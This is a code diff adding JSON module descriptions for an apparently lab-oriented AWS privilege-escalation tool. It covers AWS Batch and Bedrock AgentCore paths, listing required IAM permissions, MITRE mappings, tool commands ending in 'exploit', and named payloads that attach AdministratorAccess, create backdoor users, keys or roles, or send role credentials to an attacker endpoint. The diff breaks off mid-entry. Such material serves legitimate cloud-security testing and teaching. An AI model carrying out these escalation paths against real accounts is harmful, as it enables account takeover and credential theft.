+      "tags": [
+        "apprunner",
+        "bash",
+        "backdoor"
+      ]
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use apprunner-002",
+    "pathrunner show payloads",
+    "pathrunner set PAYLOAD backdoor/attach-policy",
+    "pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": "apprunner-002",
+  "gifs": [
+    {
+      "name": "apprunner-002",
+      "ext": "webm"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/batch-001.json b/docs/pathrunner/data/modules/batch-001.json
new file mode 100644
index 00000000..e0828082
--- /dev/null
+++ b/docs/pathrunner/data/modules/batch-001.json
@@ -0,0 +1,251 @@
+{
+  "id": "batch-001",
+  "name": "iam:PassRole + batch:RegisterJobDefinition + batch:SubmitJob",
+  "description": "A principal with iam:PassRole, batch:RegisterJobDefinition, and batch:SubmitJob can escalate privileges by registering a new AWS Batch job definition that passes an admin IAM role as the jobRoleArn, then submitting a job that overrides the container command to call iam:AttachUserPolicy, attaching AdministratorAccess to the starting user. The Fargate container runs with the admin role's credentials and performs the IAM escalation.",
+  "category": "new-passrole",
+  "services": [
+    "iam",
+    "batch"
+  ],
+  "primaryService": "batch",
+  "aliases": [
+    "batch-passrole",
+    "batch-passrole-registerjobdefinition",
+    "exploit/batch_passrole_registerjobdefinition_submitjob"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/batch-001",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:PassRole",
+        "description": "Must be able to pass the target admin IAM role and a Batch execution role to the Batch service"
+      },
+      {
+        "permission": "batch:RegisterJobDefinition",
+        "description": "No resource constraints required"
+      },
+      {
+        "permission": "batch:SubmitJob",
+        "description": "No resource constraints required"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "batch:DescribeJobs",
+        "description": "Useful for polling job status to confirm execution"
+      },
+      {
+        "permission": "batch:DescribeJobQueues",
+        "description": "Helpful for discovering available job queues to submit to"
+      },
+      {
+        "permission": "batch:DescribeComputeEnvironments",
+        "description": "Helpful for discovering available compute environments"
+      },
+      {
+        "permission": "batch:DeregisterJobDefinition",
+        "description": "Useful for cleaning up the malicious job definition after exploitation"
+      },
+      {
+        "permission": "iam:ListAttachedUserPolicies",
+        "description": "Useful for verifying privilege escalation success"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "A role must exist that trusts batch.amazonaws.com to assume it (or can be assumed via the Batch Fargate execution chain)",
+      "The role must have administrative permissions (e.g., AdministratorAccess or an equivalent custom policy)",
+      "An existing Batch job queue and compute environment must be available in the account"
+    ],
+    "lateral": [
+      "A role must exist that trusts the Batch service and has elevated permissions",
+      "An existing Batch job queue and compute environment must be available in the account"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - batch-001",
+      "url": "https://pathfinding.cloud/paths/batch-001"
+    },
+    {
+      "title": "Messing Around With AWS Batch For Privilege Escalations - Doyensec",
+      "url": "https://blog.doyensec.com/2023/06/13/messing-around-with-aws-batch-for-privilege-escalations.html"
+    },
+    {
+      "title": "How AWS Batch works with IAM",
+      "url": "https://docs.aws.amazon.com/batch/latest/userguide/security_iam_service-with-iam.html"
+    },
+    {
+      "title": "Actions defined by AWS Batch - Service Authorization Reference",
+      "url": "https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsbatch.html"
+    }
+  ],
+  "relatedPaths": [
+    "batch-002",
+    "batch-003"
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0002 - Execution"
+    ],
+    "techniques": [
+      "T1078.004 - Valid Accounts: Cloud Accounts",
+      "T1610 - Deploy Container"
+    ]
+  },
+  "options": [
+    {
+      "name": "ADMIN_ROLE_ARN",
+      "description": "ARN of the IAM role to pass as jobRoleArn \u2014 the container will run with this role's credentials",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "EXECUTION_ROLE_ARN",
+      "description": "ARN of the Fargate execution role (must trust batch.amazonaws.com and have ecr/logs permissions)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "JOB_QUEUE",
+      "description": "Name or ARN of the Batch job queue to submit the job to",
+      "required": true,
+      "mockValue": "target-batch-job-queue"
+    },
+    {
+      "name": "PAYLOAD",
+      "description": "Payload type to execute inside the Batch job container. aws-cli runtime: backdoor/attach-policy, backdoor/create-access-key. generic runtime: backdoor/create-user, backdoor/create-role, backdoor/update-role-trust, exfil/https",
+      "required": true,
+      "default": "backdoor/attach-policy"
+    },
+    {
+      "name": "CONTAINER_RUNTIME",
+      "description": "Container entrypoint type: 'aws-cli' (default, registers amazon/aws-cli:latest) or 'generic' (registers IMAGE with sh + aws CLI \u2014 e.g. Ubuntu, Debian). exfil/https requires 'generic'.",
+      "required": false,
+      "default": "aws-cli"
+    },
+    {
+      "name": "IMAGE",
+      "description": "Container image to use in the registered job definition. Defaults to 'amazon/aws-cli:latest' for aws-cli runtime, or 'ubuntu:latest' for generic runtime. The image must be accessible from the Fargate compute environment.",
+      "required": false
+    },
+    {
+      "name": "TARGET_PRINCIPAL",
+      "description": "IAM username or role name to attach AdministratorAccess to (auto-resolved from caller identity if not set)",
+      "required": false
+    },
+    {
+      "name": "JOB_DEF_NAME",
+      "description": "Name for the new Batch job definition to register",
+      "required": false,
+      "mockValue": "target-resource-name"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for Batch and IAM operations",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "CLEANUP",
+      "description": "Deregister the job definition and detach AdministratorAccess from TARGET_PRINCIPAL after execution. Requires batch:DeregisterJobDefinition and iam:DetachUserPolicy/iam:DetachRolePolicy. Defaults to false because the lab's starting principal does not have these permissions; use 'workspace cleanup' with an elevated identity instead.",
+      "required": false,
+      "default": "false"
+    }
+  ],
+  "payloads": [
+    {
+      "name": "backdoor/attach-policy",
+      "description": "Attach AdministratorAccess (or any managed policy) to an IAM user or role via Batch job container command",
+      "slug": "batch-backdoor-attach-policy",
+      "qualifiedName": "batch:backdoor/attach-policy",
+      "service": "batch",
+      "tags": [
+        "batch",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/create-access-key",
+      "description": "Create programmatic access keys for an IAM user via Batch job container command",
+      "slug": "batch-backdoor-create-access-key",
+      "qualifiedName": "batch:backdoor/create-access-key",
+      "service": "batch",
+      "tags": [
+        "batch",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/create-role",
+      "description": "Create an IAM role with AdministratorAccess and a custom trust policy via Batch job (requires CONTAINER_RUNTIME=generic)",
+      "slug": "batch-backdoor-create-role",
+      "qualifiedName": "batch:backdoor/create-role",
+      "service": "batch",
+      "tags": [
+        "batch",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/create-user",
+      "description": "Create an IAM user with AdministratorAccess and optional console/programmatic access via Batch job (requires CONTAINER_RUNTIME=generic)",
+      "slug": "batch-backdoor-create-user",
+      "qualifiedName": "batch:backdoor/create-user",
+      "service": "batch",
+      "tags": [
+        "batch",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/update-role-trust",
+      "description": "Append a trust policy statement to an existing IAM role via Batch job (requires CONTAINER_RUNTIME=generic with jq)",
+      "slug": "batch-backdoor-update-role-trust",
+      "qualifiedName": "batch:backdoor/update-role-trust",
+      "service": "batch",
+      "tags": [
+        "batch",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "exfil/https",
+      "description": "Exfiltrate Batch task role credentials to an attacker HTTPS endpoint; detects curl/wget/python at runtime (requires CONTAINER_RUNTIME=generic)",
+      "slug": "batch-exfil-https",
+      "qualifiedName": "batch:exfil/https",
+      "service": "batch",
+      "tags": [
+        "batch",
+        "bash",
+        "exfil",
+        "https"
+      ]
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use batch-001",
+    "pathrunner show payloads",
+    "pathrunner set PAYLOAD backdoor/attach-policy",
+    "pathrunner set ADMIN_ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner set EXECUTION_ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner set JOB_QUEUE target-batch-job-queue",
+    "pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": "batch-001",
+  "gifs": [
+    {
+      "name": "batch-001",
+      "ext": "webm"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/batch-002.json b/docs/pathrunner/data/modules/batch-002.json
new file mode 100644
index 00000000..4a9445e7
--- /dev/null
+++ b/docs/pathrunner/data/modules/batch-002.json
@@ -0,0 +1,215 @@
+{
+  "id": "batch-002",
+  "name": "batch:SubmitJob",
+  "description": "A principal with only batch:SubmitJob can escalate privileges by submitting a job to an existing Batch job queue using a pre-existing job definition that already has an admin jobRoleArn. The ContainerOverrides.Command field allows the submitter to replace the container's default command with any arbitrary command \u2014 including iam:AttachUserPolicy \u2014 which executes using the job definition's admin role credentials. No iam:PassRole or batch:RegisterJobDefinition is required because the privileged role was already assigned to the existing job definition.",
+  "category": "existing-passrole",
+  "services": [
+    "iam",
+    "batch"
+  ],
+  "primaryService": "batch",
+  "aliases": [
+    "batch-submitjob",
+    "exploit/batch_submitjob"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/batch-002",
+  "permissions": {
+    "required": [
+      {
+        "permission": "batch:SubmitJob",
+        "description": "Must be able to submit to the target job queue"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "batch:DescribeJobDefinitions",
+        "description": "Helpful for discovering job definitions with privileged jobRoleArns"
+      },
+      {
+        "permission": "batch:DescribeJobQueues",
+        "description": "Helpful for discovering available job queues"
+      },
+      {
+        "permission": "batch:DescribeJobs",
+        "description": "Useful for polling job execution status"
+      },
+      {
+        "permission": "batch:DescribeComputeEnvironments",
+        "description": "Helpful for understanding compute environment configuration"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "An existing Batch job definition must already have an admin IAM role set as the jobRoleArn",
+      "An existing Batch job queue must be available to submit jobs to"
+    ],
+    "lateral": [
+      "An existing Batch job definition must have an elevated IAM role set as the jobRoleArn",
+      "An existing Batch job queue must be available"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - batch-002",
+      "url": "https://pathfinding.cloud/paths/batch-002"
+    },
+    {
+      "title": "Messing Around With AWS Batch For Privilege Escalations - Doyensec",
+      "url": "https://blog.doyensec.com/2023/06/13/messing-around-with-aws-batch-for-privilege-escalations.html"
+    },
+    {
+      "title": "How AWS Batch works with IAM",
+      "url": "https://docs.aws.amazon.com/batch/latest/userguide/security_iam_service-with-iam.html"
+    }
+  ],
+  "relatedPaths": [
+    "batch-001",
+    "batch-003"
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0002 - Execution"
+    ],
+    "techniques": [
+      "T1078.004 - Valid Accounts: Cloud Accounts",
+      "T1610 - Deploy Container"
+    ]
+  },
+  "options": [
+    {
+      "name": "JOB_DEFINITION",
+      "description": "Name or ARN of the existing Batch job definition with privileged jobRoleArn",
+      "required": true,
+      "mockValue": "target-job-definition:1"
+    },
+    {
+      "name": "JOB_QUEUE",
+      "description": "Name or ARN of the Batch job queue to submit the job to",
+      "required": true,
+      "mockValue": "target-batch-job-queue"
+    },
+    {
+      "name": "PAYLOAD",
+      "description": "Payload type to execute inside the Batch job container (backdoor/attach-policy, exfil/https)",
+      "required": true,
+      "default": "backdoor/attach-policy"
+    },
+    {
+      "name": "CONTAINER_RUNTIME",
+      "description": "Container entrypoint type: 'aws-cli' (default, container entrypoint is 'aws' \u2014 e.g. amazon/aws-cli:latest) or 'generic' (container has sh + aws CLI \u2014 e.g. Ubuntu, Debian). exfil/https requires 'generic'.",
+      "required": false,
+      "default": "aws-cli"
+    },
+    {
+      "name": "TARGET_PRINCIPAL",
+      "description": "IAM username or role name to attach AdministratorAccess to (auto-resolved from caller identity if not set)",
+      "required": false
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for Batch and IAM operations",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "CLEANUP",
+      "description": "Detach AdministratorAccess from TARGET_PRINCIPAL after execution. Requires iam:DetachUserPolicy or iam:DetachRolePolicy.",
+      "required": false,
+      "default": "false"
+    }
+  ],
+  "payloads": [
+    {
+      "name": "backdoor/attach-policy",
+      "description": "Attach AdministratorAccess (or any managed policy) to an IAM user or role via Batch job container command",
+      "slug": "batch-backdoor-attach-policy",
+      "qualifiedName": "batch:backdoor/attach-policy",
+      "service": "batch",
+      "tags": [
+        "batch",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/create-access-key",
+      "description": "Create programmatic access keys for an IAM user via Batch job container command",
+      "slug": "batch-backdoor-create-access-key",
+      "qualifiedName": "batch:backdoor/create-access-key",
+      "service": "batch",
+      "tags": [
+        "batch",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/create-role",
+      "description": "Create an IAM role with AdministratorAccess and a custom trust policy via Batch job (requires CONTAINER_RUNTIME=generic)",
+      "slug": "batch-backdoor-create-role",
+      "qualifiedName": "batch:backdoor/create-role",
+      "service": "batch",
+      "tags": [
+        "batch",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/create-user",
+      "description": "Create an IAM user with AdministratorAccess and optional console/programmatic access via Batch job (requires CONTAINER_RUNTIME=generic)",
+      "slug": "batch-backdoor-create-user",
+      "qualifiedName": "batch:backdoor/create-user",
+      "service": "batch",
+      "tags": [
+        "batch",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/update-role-trust",
+      "description": "Append a trust policy statement to an existing IAM role via Batch job (requires CONTAINER_RUNTIME=generic with jq)",
+      "slug": "batch-backdoor-update-role-trust",
+      "qualifiedName": "batch:backdoor/update-role-trust",
+      "service": "batch",
+      "tags": [
+        "batch",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "exfil/https",
+      "description": "Exfiltrate Batch task role credentials to an attacker HTTPS endpoint; detects curl/wget/python at runtime (requires CONTAINER_RUNTIME=generic)",
+      "slug": "batch-exfil-https",
+      "qualifiedName": "batch:exfil/https",
+      "service": "batch",
+      "tags": [
+        "batch",
+        "bash",
+        "exfil",
+        "https"
+      ]
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use batch-002",
+    "pathrunner show payloads",
+    "pathrunner set PAYLOAD backdoor/attach-policy",
+    "pathrunner set JOB_DEFINITION target-job-definition:1",
+    "pathrunner set JOB_QUEUE target-batch-job-queue",
+    "pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": "batch-002",
+  "gifs": [
+    {
+      "name": "batch-002",
+      "ext": "webm"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/batch-003.json b/docs/pathrunner/data/modules/batch-003.json
new file mode 100644
index 00000000..a545be9b
--- /dev/null
+++ b/docs/pathrunner/data/modules/batch-003.json
@@ -0,0 +1,292 @@
+{
+  "id": "batch-003",
+  "name": "iam:PassRole + batch:CreateComputeEnvironment + batch:CreateJobQueue + batch:RegisterJobDefinition + batch:SubmitJob",
+  "description": "A principal with iam:PassRole and broad Batch permissions can escalate privileges by creating the entire AWS Batch pipeline from scratch \u2014 a Fargate compute environment, a job queue, and a job definition that passes an admin IAM role as the jobRoleArn \u2014 then submitting a job whose container runs with the admin role's credentials. Unlike batch-001, no pre-existing Batch infrastructure is required. batch:CreateComputeEnvironment auto-creates an ECS cluster via the Batch service-linked role, so the attacker gets ECS task execution capability without any ECS permissions.",
+  "category": "new-passrole",
+  "services": [
+    "iam",
+    "batch"
+  ],
+  "primaryService": "batch",
+  "aliases": [
+    "batch-full-pipeline",
+    "batch-createcomputeenvironment",
+    "exploit/batch_passrole_createcomputeenvironment_createjobqueue_registerjobdefinition_submitjob"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/batch-003",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:PassRole",
+        "description": "Must be able to pass the target admin IAM role and a Batch execution role to the Batch service"
+      },
+      {
+        "permission": "batch:CreateComputeEnvironment",
+        "description": "Creates a managed Fargate compute environment (auto-creates an ECS cluster via the Batch service-linked role)"
+      },
+      {
+        "permission": "batch:CreateJobQueue",
+        "description": "Creates a job queue wired to the attacker-created compute environment"
+      },
+      {
+        "permission": "batch:RegisterJobDefinition",
+        "description": "Registers a job definition with the admin role as jobRoleArn"
+      },
+      {
+        "permission": "batch:SubmitJob",
+        "description": "Submits the job to the attacker-created queue"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "batch:DescribeComputeEnvironments",
+        "description": "Polls compute environment status during creation (CREATING -> VALID)"
+      },
+      {
+        "permission": "batch:DescribeJobQueues",
+        "description": "Verifies job queue creation and state"
+      },
+      {
+        "permission": "batch:DescribeJobs",
+        "description": "Polls job execution status to confirm completion"
+      },
+      {
+        "permission": "batch:DescribeJobDefinitions",
+        "description": "Verifies job definition registration"
+      },
+      {
+        "permission": "iam:ListAttachedUserPolicies",
+        "description": "Verifies privilege escalation success"
+      },
+      {
+        "permission": "iam:ListRoles",
+        "description": "Discovers IAM roles to identify passable admin and execution roles"
+      },
+      {
+        "permission": "ec2:DescribeSubnets",
+        "description": "Discovers available VPC subnets for the Fargate compute environment"
+      },
+      {
+        "permission": "ec2:DescribeSecurityGroups",
+        "description": "Discovers available security groups for the Fargate compute environment"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "A role must exist that trusts ecs-tasks.amazonaws.com and has administrative permissions (e.g., AdministratorAccess)",
+      "An ECS task execution role must exist that trusts ecs-tasks.amazonaws.com with AmazonECSTaskExecutionRolePolicy",
+      "A VPC subnet with internet access (public subnet or NAT gateway) for Fargate tasks",
+      "A security group allowing outbound traffic for container image pulls and API calls"
+    ],
+    "lateral": [
+      "A role must exist that trusts ecs-tasks.amazonaws.com and has elevated permissions",
+      "An ECS task execution role must exist",
+      "A VPC subnet with internet access and an appropriate security group"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - batch-003",
+      "url": "https://pathfinding.cloud/paths/batch-003"
+    },
+    {
+      "title": "Messing Around With AWS Batch For Privilege Escalations - Doyensec",
+      "url": "https://blog.doyensec.com/2023/06/13/messing-around-with-aws-batch-for-privilege-escalations.html"
+    },
+    {
+      "title": "How AWS Batch works with IAM",
+      "url": "https://docs.aws.amazon.com/batch/latest/userguide/security_iam_service-with-iam.html"
+    },
+    {
+      "title": "Actions defined by AWS Batch - Service Authorization Reference",
+      "url": "https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsbatch.html"
+    }
+  ],
+  "relatedPaths": [
+    "batch-001",
+    "batch-002"
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0002 - Execution"
+    ],
+    "techniques": [
+      "T1078.004 - Valid Accounts: Cloud Accounts",
+      "T1610 - Deploy Container"
+    ]
+  },
+  "options": [
+    {
+      "name": "ADMIN_ROLE_ARN",
+      "description": "ARN of the IAM role to pass as jobRoleArn \u2014 the container will run with this role's credentials",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "EXECUTION_ROLE_ARN",
+      "description": "ARN of the Fargate execution role (must trust ecs-tasks.amazonaws.com and have AmazonECSTaskExecutionRolePolicy)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "SUBNET_ID",
+      "description": "VPC subnet ID for the Fargate compute environment (must have internet access for image pulls and API calls)",
+      "required": true,
+      "mockValue": "subnet-0123456789abcdef0"
+    },
+    {
+      "name": "SECURITY_GROUP_ID",
+      "description": "Security group ID for the Fargate compute environment (must allow outbound traffic)",
+      "required": true,
+      "mockValue": "sg-0123456789abcdef0"
+    },
+    {
+      "name": "PAYLOAD",
+      "description": "Payload type to execute inside the Batch job container. aws-cli runtime: backdoor/attach-policy, backdoor/create-access-key. generic runtime: backdoor/create-user, backdoor/create-role, backdoor/update-role-trust, exfil/https",
+      "required": true,
+      "default": "backdoor/attach-policy"
+    },
+    {
+      "name": "CONTAINER_RUNTIME",
+      "description": "Container entrypoint type: 'aws-cli' (default, registers amazon/aws-cli:latest) or 'generic' (registers IMAGE with sh + aws CLI \u2014 e.g. Ubuntu, Debian). exfil/https requires 'generic'.",
+      "required": false,
+      "default": "aws-cli"
+    },
+    {
+      "name": "IMAGE",
+      "description": "Container image to use in the registered job definition. Defaults to 'amazon/aws-cli:latest' for aws-cli runtime, or 'ubuntu:latest' for generic runtime. The image must be accessible from the Fargate compute environment.",
+      "required": false
+    },
+    {
+      "name": "TARGET_PRINCIPAL",
+      "description": "IAM username or role name to attach AdministratorAccess to (auto-resolved from caller identity if not set)",
+      "required": false
+    },
+    {
+      "name": "COMPUTE_ENV_NAME",
+      "description": "Name for the new Batch compute environment to create",
+      "required": false,
+      "mockValue": "target-resource-name"
+    },
+    {
+      "name": "JOB_QUEUE_NAME",
+      "description": "Name for the new Batch job queue to create",
+      "required": false,
+      "mockValue": "target-resource-name"
+    },
+    {
+      "name": "JOB_DEF_NAME",
+      "description": "Name for the new Batch job definition to register",
+      "required": false,
+      "mockValue": "target-resource-name"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for Batch and IAM operations",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "CLEANUP",
+      "description": "Deregister the job definition and detach AdministratorAccess from TARGET_PRINCIPAL after execution. Requires batch:DeregisterJobDefinition and iam:DetachUserPolicy/iam:DetachRolePolicy. Defaults to false because the lab's starting principal does not have these permissions; use 'workspace cleanup' with an elevated identity instead.",
+      "required": false,
+      "default": "false"
+    }
+  ],
+  "payloads": [
+    {
+      "name": "backdoor/attach-policy",
+      "description": "Attach AdministratorAccess (or any managed policy) to an IAM user or role via Batch job container command",
+      "slug": "batch-backdoor-attach-policy",
+      "qualifiedName": "batch:backdoor/attach-policy",
+      "service": "batch",
+      "tags": [
+        "batch",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/create-access-key",
+      "description": "Create programmatic access keys for an IAM user via Batch job container command",
+      "slug": "batch-backdoor-create-access-key",
+      "qualifiedName": "batch:backdoor/create-access-key",
+      "service": "batch",
+      "tags": [
+        "batch",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/create-role",
+      "description": "Create an IAM role with AdministratorAccess and a custom trust policy via Batch job (requires CONTAINER_RUNTIME=generic)",
+      "slug": "batch-backdoor-create-role",
+      "qualifiedName": "batch:backdoor/create-role",
+      "service": "batch",
+      "tags": [
+        "batch",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/create-user",
+      "description": "Create an IAM user with AdministratorAccess and optional console/programmatic access via Batch job (requires CONTAINER_RUNTIME=generic)",
+      "slug": "batch-backdoor-create-user",
+      "qualifiedName": "batch:backdoor/create-user",
+      "service": "batch",
+      "tags": [
+        "batch",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "backdoor/update-role-trust",
+      "description": "Append a trust policy statement to an existing IAM role via Batch job (requires CONTAINER_RUNTIME=generic with jq)",
+      "slug": "batch-backdoor-update-role-trust",
+      "qualifiedName": "batch:backdoor/update-role-trust",
+      "service": "batch",
+      "tags": [
+        "batch",
+        "bash",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "exfil/https",
+      "description": "Exfiltrate Batch task role credentials to an attacker HTTPS endpoint; detects curl/wget/python at runtime (requires CONTAINER_RUNTIME=generic)",
+      "slug": "batch-exfil-https",
+      "qualifiedName": "batch:exfil/https",
+      "service": "batch",
+      "tags": [
+        "batch",
+        "bash",
+        "exfil",
+        "https"
+      ]
+    }
+  ],
+  "cliSteps": [
+    "pathrunner use batch-003",
+    "pathrunner show payloads",
+    "pathrunner set PAYLOAD backdoor/attach-policy",
+    "pathrunner set ADMIN_ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner set EXECUTION_ROLE_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner set SUBNET_ID subnet-0123456789abcdef0",
+    "pathrunner set SECURITY_GROUP_ID sg-0123456789abcdef0",
+    "pathrunner set TARGET_ARN arn:aws:iam::123456789012:role/TargetRoleName",
+    "pathrunner exploit"
+  ],
+  "labSlug": "batch-003",
+  "gifs": [
+    {
+      "name": "batch-003",
+      "ext": "webm"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/docs/pathrunner/data/modules/bedrock-001.json b/docs/pathrunner/data/modules/bedrock-001.json
new file mode 100644
index 00000000..9d579ce1
--- /dev/null
+++ b/docs/pathrunner/data/modules/bedrock-001.json
@@ -0,0 +1,168 @@
+{
+  "id": "bedrock-001",
+  "name": "iam:PassRole + bedrock-agentcore:CreateCodeInterpreter + bedrock-agentcore:StartCodeInterpreterSession + bedrock-agentcore:InvokeCodeInterpreter",
+  "description": "A principal with iam:PassRole, bedrock-agentcore:CreateCodeInterpreter, bedrock-agentcore:StartCodeInterpreterSession, and bedrock-agentcore:InvokeCodeInterpreter can create a code interpreter with a privileged execution role and invoke arbitrary Python code inside the resulting Firecracker microVM. The microVM Metadata Service (MMDS) at 169.254.169.254 exposes the execution role's temporary credentials \u2014 the attacker reads them and gains the full permissions of the passed role.",
+  "category": "new-passrole",
+  "services": [
+    "iam",
+    "bedrock-agentcore"
+  ],
+  "primaryService": "bedrock",
+  "aliases": [
+    "bedrock-passrole",
+    "exploit/bedrock_passrole_codeinterpreter"
+  ],
+  "author": "Seth Art",
+  "pathfindingCloudUrl": "https://pathfinding.cloud/paths/bedrock-001",
+  "permissions": {
+    "required": [
+      {
+        "permission": "iam:PassRole",
+        "description": "Target role ARN must trust bedrock-agentcore.amazonaws.com"
+      },
+      {
+        "permission": "bedrock-agentcore:CreateCodeInterpreter"
+      },
+      {
+        "permission": "bedrock-agentcore:StartCodeInterpreterSession"
+      },
+      {
+        "permission": "bedrock-agentcore:InvokeCodeInterpreter"
+      }
+    ],
+    "additional": [
+      {
+        "permission": "iam:ListRoles",
+        "description": "Helpful for discovering available roles to pass"
+      },
+      {
+        "permission": "iam:GetRole",
+        "description": "Useful for viewing role trust policies and attached permissions"
+      },
+      {
+        "permission": "bedrock-agentcore:GetCodeInterpreter",
+        "description": "Can verify code interpreter creation and status"
+      }
+    ]
+  },
+  "prerequisites": {
+    "admin": [
+      "A role must exist that trusts bedrock-agentcore.amazonaws.com to assume it",
+      "The role must have administrative permissions (e.g., AdministratorAccess)"
+    ],
+    "lateral": [
+      "A role must exist that trusts bedrock-agentcore.amazonaws.com to assume it"
+    ]
+  },
+  "references": [
+    {
+      "title": "Pathfinding Cloud - bedrock-001",
+      "url": "https://pathfinding.cloud/paths/bedrock-001"
+    },
+    {
+      "title": "AWS AgentCore: The Overlooked Privilege Escalation Path in Bedrock AI Tooling",
+      "url": "https://sonraisecurity.com/blog/aws-agentcore-privilege-escalation-bedrock-scp-fix/"
+    },
+    {
+      "title": "Understanding Credentials Management in Amazon Bedrock AgentCore",
+      "url": "https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html"
+    }
+  ],
+  "relatedPaths": [
+    "bedrock-002",
+    "lambda-001",
+    "ec2-001",
+    "sagemaker-001"
+  ],
+  "mitre": {
+    "tactics": [
+      "TA0004 - Privilege Escalation",
+      "TA0006 - Credential Access"
+    ],
+    "techniques": [
+      "T1098.001 - Account Manipulation: Additional Cloud Credentials",
+      "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
+    ]
+  },
+  "options": [
+    {
+      "name": "ROLE_ARN",
+      "description": "ARN of the IAM role to pass to the code interpreter (must trust bedrock-agentcore.amazonaws.com)",
+      "required": true,
+      "mockValue": "arn:aws:iam::123456789012:role/TargetRoleName"
+    },
+    {
+      "name": "PAYLOAD",
+      "description": "Payload to run inside the code interpreter (exfil/mmds, backdoor/attach-policy)",
+      "required": true,
+      "default": "exfil/mmds"
+    },
+    {
+      "name": "INTERPRETER_NAME",
+      "description": "Name for the code interpreter resource",
+      "required": false,
+      "default": "pathrunner",
+      "mockValue": "target-resource-name"
+    },
+    {
+      "name": "REGION",
+      "description": "AWS region for code interpreter deployment",
+      "required": false,
+      "default": "us-east-1"
+    },
+    {
+      "name": "INIT_WAIT_SECONDS",
+      "description": "Seconds to wait for the code interpreter to initialize before invoking code",
+      "required": false,
+      "default": "15"
+    },
+    {
+      "name": "CLEANUP",
+      "description": "Delete the code interpreter after execution (requires bedrock-agentcore-control:DeleteCodeInterpreter \u2014 often not available on the starting identity)",
+      "required": false,
+      "default": "false"
+    }
+  ],
+  "payloads": [
+    {
+      "name": "backdoor/attach-policy",
+      "description": "Attach AdministratorAccess (or custom policy) to an IAM user/role using the execution role's boto3 credentials",
+      "slug": "bedrock-backdoor-attach-policy",
+      "qualifiedName": "bedrock:backdoor/attach-policy",
+      "service": "bedrock",
+      "tags": [
+        "bedrock",
+        "python",
+        "backdoor"
+      ]
+    },
+    {
+      "name": "exfil/mmds",
+      "description": "Extract execution-role credentials from the MicroVM Metadata Service (MMDS) at 169.254.169.254",
+      "slug": "bedrock-exfil-mmds",
+      "qualifiedName": "bedrock:exfil/mmds",
+      "service": "bedrock",
+      "tags": [
